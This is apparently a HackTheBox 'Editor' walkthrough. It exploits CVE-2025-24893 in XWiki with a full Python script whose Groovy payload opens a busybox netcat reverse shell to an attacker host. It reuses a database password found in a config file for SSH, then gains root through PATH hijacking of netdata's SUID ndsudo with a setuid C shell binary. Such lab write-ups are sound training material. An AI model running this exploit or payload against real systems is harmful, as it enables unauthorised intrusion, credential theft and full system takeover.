esc

Editor

📅 Last Updated: Aug 03, 2025 10:00 | 📄 Size: 10.1 KB | 🎯 Type: HackTheBox Writeup | 🎚️ Difficulty: Easy | 🔗 Back to Categories

Enumeration :

┌──(kali㉿kali)-[~/Desktop]
└─$ nmap editor.htb                                   
Nmap scan report for editor.htb (10.129.19.180)

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

Navigating to http://editor.htb:8080 reveals a web interface running XWiki:`

xwiki

❓ What is XWiki?

XWiki is an open-source wiki platform written in Java, often used for collaborative documentation and knowledge management. It supports user authentication, scripting (e.g., Groovy), and advanced extensions, which makes it powerful but also a target for RCE vulnerabilities if not properly secured.

the running version is : XWiki Debian 15.10.8

Vulnerability Check

Using searchsploit:

searchsploit xwiki

Found relevant exploit:

XWiki Platform 15.10.10 - Remote Code Execution | multiple/webapps/52136.txt

The version installed (15.10.8) is vulnerable.

Exploitation

The following Python exploit targets CVE-2025-24893 and leverages XWiki's Groovy scripting through the SolrSearch endpoint.

Download and fix the exploit

After copying from Exploit-DB, the script had syntax issues. A fixed version was used:

python3 exploit.py

Input target:

editor.htb:8080/xwiki

Output:

[✔] Exploit successful! Output received:
...root:x:0:0:root:/root:/bin/bash...

exploited XWiki executes the Groovy payload and returns the content of /etc/passwd, confirming unauthenticated RCE.

After confirming command execution using cat /etc/passwd, I attempted several reverse shell payloads. However, most failed due to nested macro limitations or Groovy execution restrictions.

Eventually, I modified the exploit script to leverage BusyBox, which was available on the target system.

Updated Exploit Script

import requests

def display_banner():
    print("="*80)
    print("Exploit Title: CVE-2025-24893 - XWiki Platform Remote Code Execution")
    print("Modified by: Bilal")
    print("="*80)

def detect_protocol(domain):
    https_url = f"https://{domain}"
    http_url = f"http://{domain}"

    try:
        response = requests.get(https_url, timeout=5, allow_redirects=True)
        if response.status_code < 400:
            print(f"[✔] Target supports HTTPS: {https_url}")
            return https_url
    except requests.exceptions.RequestException:
        print("[!] HTTPS not available, falling back to HTTP.")

    try:
        response = requests.get(http_url, timeout=5, allow_redirects=True)
        if response.status_code < 400:
            print(f"[✔] Target supports HTTP: {http_url}")
            return http_url
    except requests.exceptions.RequestException:
        print("[✖] Target is unreachable on both HTTP and HTTPS.")
        exit(1)

def exploit(target_url, lhost, lport):
    target_url = detect_protocol(target_url.replace("http://", "").replace("https://", "").strip())
   
    payload = f"{​{{​{async async=false}​}}​}{​{{​{groovy}​}}​}'busybox nc {lhost} {lport} -e /bin/sh'.execute().text{​{{​{/groovy}​}}​}{​{{​{/async}​}}​}"
    encoded_payload = requests.utils.quote(payload)

    exploit_url = f"{target_url}/bin/get/Main/SolrSearch?media=rss&text={encoded_payload}"

    try:
        print(f"[+] Sending request to: {exploit_url}")
        response = requests.get(exploit_url, timeout=10)
        print("[✔] Request sent. Check your listener.")
    except requests.exceptions.RequestException as e:
        print(f"[✖] Error: {e}")

if __name__ == "__main__":
    display_banner()
    target = input("[?] Enter the target URL (without http/https): ").strip()
    lhost = input("[?] Enter your attacker IP (LHOST): ").strip()
    lport = input("[?] Enter your attacker port (LPORT): ").strip()
    exploit(target, lhost, lport)

Running the Exploit I used the updated Python script to trigger the vulnerability and send the malicious payload: revshell

Getting a Reverse Shell The exploit successfully connected back and provided a reverse shell as the xwiki user:

revshell

Extracting Database Credentials

I browsed to the file:

/usr/lib/xwiki/WEB-INF/hibernate.cfg.xml

Inside, I found the MySQL connection details including the password:

<property name="hibernate.connection.url">jdbc:mysql://localhost/xwiki?useSSL=false&amp;connectionTimeZone=LOCAL&amp;allowPublicKeyRetrieval=true</property>
<property name="hibernate.connection.username">xwiki</property>
<property name="hibernate.connection.password">theEd1t0rTeam99</property>

USER :

From the previous CVE exploit , I found the user oliver listed in /etc/passwd with a valid shell:

oliver:x:1000:1000:,,,:/home/oliver:/bin/bash

Using the password discovered earlier (theEd1t0rTeam99), I was able to SSH into the machine as oliver:

ssh oliver@editor.htb
Password: theEd1t0rTeam99

revshell

ROOT

Running the following command as user oliver to find all SUID binaries:

oliver@editor:~$ find / -perm -4000 2>/dev/null
/opt/netdata/usr/libexec/netdata/plugins.d/cgroup-network
/opt/netdata/usr/libexec/netdata/plugins.d/network-viewer.plugin
/opt/netdata/usr/libexec/netdata/plugins.d/local-listeners
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
/opt/netdata/usr/libexec/netdata/plugins.d/ioping
/opt/netdata/usr/libexec/netdata/plugins.d/nfacct.plugin
/opt/netdata/usr/libexec/netdata/plugins.d/ebpf.plugin
...

Among these, I identified /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo as a potential privilege escalation vector.

Researching it led me to the following advisory describing an untrusted search path vulnerability in ndsudo that allows local privilege escalation:
https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93

First, I checked the ndsudo help to see which commands it supports:

oliver@editor:~$  /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo -h

ndsudo

(C) Netdata Inc.

A helper to allow Netdata run privileged commands.

  --test
    print the generated command that will be run, without running it.

  --help
    print this message.

The following commands are supported:

- Command    : nvme-list
  Executables: nvme 
  Parameters : list --output-format=json

- Command    : nvme-smart-log
  Executables: nvme 
  Parameters : smart-log {​{device}​} --output-format=json

- Command    : megacli-disk-info
  Executables: megacli MegaCli 
  Parameters : -LDPDInfo -aAll -NoLog

- Command    : megacli-battery-info
  Executables: megacli MegaCli 
  Parameters : -AdpBbuCmd -aAll -NoLog

- Command    : arcconf-ld-info
  Executables: arcconf 
  Parameters : GETCONFIG 1 LD

- Command    : arcconf-pd-info
  Executables: arcconf 
  Parameters : GETCONFIG 1 PD

The program searches for executables in the system path.

Variables given as {​{variable}​} are expected on the command line as:
  --variable VALUE

VALUE can include space, A-Z, a-z, 0-9, _, -, /, and .

oliver@editor:~$ 

Key point: ndsudo runs specific commands by looking for executables in your PATH.

Before running ndsudo, I checked the current user’s groups:

oliver@editor:~/tmp$ id
uid=1000(oliver) gid=1000(oliver) groups=1000(oliver),999(netdata)

This shows that the user oliver is a member of the netdata group (GID 999). This is crucial because the vulnerable ndsudo binary is owned by root with group netdata and has the SUID bit set. Only users in the netdata group can execute it with elevated privileges.

To exploit this, I created a malicious executable named nvme (can be any of the Executables listed) to spawn a root shell:

#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    execl("/bin/sh", "sh", NULL);
    return 0;
}

Why call setuid(0); setgid(0);?

  • When a process is run with SUID, it gains effective root privileges but its real UID is still the calling user (oliver here).
  • Many programs, especially shells, check if real UID = effective UID before fully trusting root privileges.
  • Calling setuid(0); setgid(0); sets both real and effective UIDs to root, preventing the shell from dropping privileges and ensuring a full root shell.

Compiled it with:

gcc -o nvme exploit.c
chmod +x nvme

Then, I uploaded this nvme binary and created a writable directory (~/tmp), exported the path to include it:

export PATH=~/tmp:$PATH

Finally, I ran the vulnerable program with:

/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list

This triggered the execution of my malicious nvme with root privileges, giving me a root shell.

revshell

Summary

  • ndsudo trusts the user-supplied PATH to find executables, which is insecure.
  • By injecting a malicious executable named as an allowed command (nvme), and placing it early in the PATH, we hijack command execution.
  • Setting both real and effective UIDs to 0 in the exploit ensures the spawned shell fully inherits root privileges.

Important note ⚠️:

Initially, some try to use a shell script as the malicious executable. However, Linux kernels ignore the SUID bit on scripts for security reasons, so the script runs without elevated privileges and the exploit fails.

By contrast, compiling the payload as an ELF binary works because the kernel honors the SUID bit on ELF executables. When ndsudo (running as root) executes our ELF nvme binary, the setuid(0); setgid(0); calls inside the binary run with root privileges, giving us a root shell.

In short:

  • Script = no SUID → no privilege escalation
  • ELF binaries = SUID honored → successful root shell